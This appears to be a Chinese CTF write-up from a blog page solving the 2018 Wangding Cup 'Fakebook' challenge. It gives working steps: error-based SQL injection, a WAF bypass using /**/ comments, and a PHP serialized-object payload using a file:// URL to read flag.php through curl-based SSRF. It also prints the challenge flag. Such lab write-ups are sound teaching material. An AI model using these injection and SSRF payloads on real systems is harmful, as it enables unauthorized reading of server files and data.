第二十七题——[网鼎杯 2018]Fakebook

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,看到登录注册界面,点击注册,注册一个新用户

在这里插入图片描述

在这里插入图片描述

第二步:点击个人信息界面的username超链接,看到刚刚填写的blog信息被加载出来,猜想填写flag.php就可以获取到flag

在这里插入图片描述

第三步:获取flag.php

在url上的参数no上添加’获取到路径/var/www/html/db.php,猜测flag位于/var/www/html/flag.php

第四步:注册新用户,blog填写flag.php,发现flag关键字被拦截

在这里插入图片描述

第五步:转化思路在no参数上进行sql注入

  1. 使用报错注入extractvalue获取到数据库名:fakebook,表名:users,以及字段名:no,username,passwd,data,USER,CUR
  2. 查看data数据看到序列化内容,猜想通过union select查询时将data参数中blog修改为flag.php来绕过waf查看flag,注:union select查询时如果查询的数据没有在数据库中会自动添加进去。
    在这里插入图片描述

第六步:获取序列化文件

  1. 使用dirsearch扫描查看到robots.txt
    在这里插入图片描述
  2. 访问robots.txt获取到user.php.bak
    在这里插入图片描述
  3. 查看user.php获取到类构建方式
    在这里插入图片描述
  4. 通过user.php.bak了解到blog加载方式时使用curl,curl支持http以及file,可以通过file://xxx来查看flag.php
    在这里插入图片描述
  5. 自定义类,获取包含flag.php的序列化内容:
<?php  

class UserInfo
{
    public $name = "qwe";
    public $age = 123;
    public $blog = "file:///var/www/html/flag.php";
}

$a = serialize(new UserInfo);
echo $a
?> 
结果:
O:8:"UserInfo":3:{s:4:"name";s:3:"qwe";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

第七步:使用union select获取flag

经测试:union select被过滤,需要使用/**/union/**/select来绕过
具体语句:?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"qwe";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#,在iframe标签中获取到flag的base64编码,解码得:flag{f3f66058-70fb-4514-9018-95ff4f83f3b0}
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值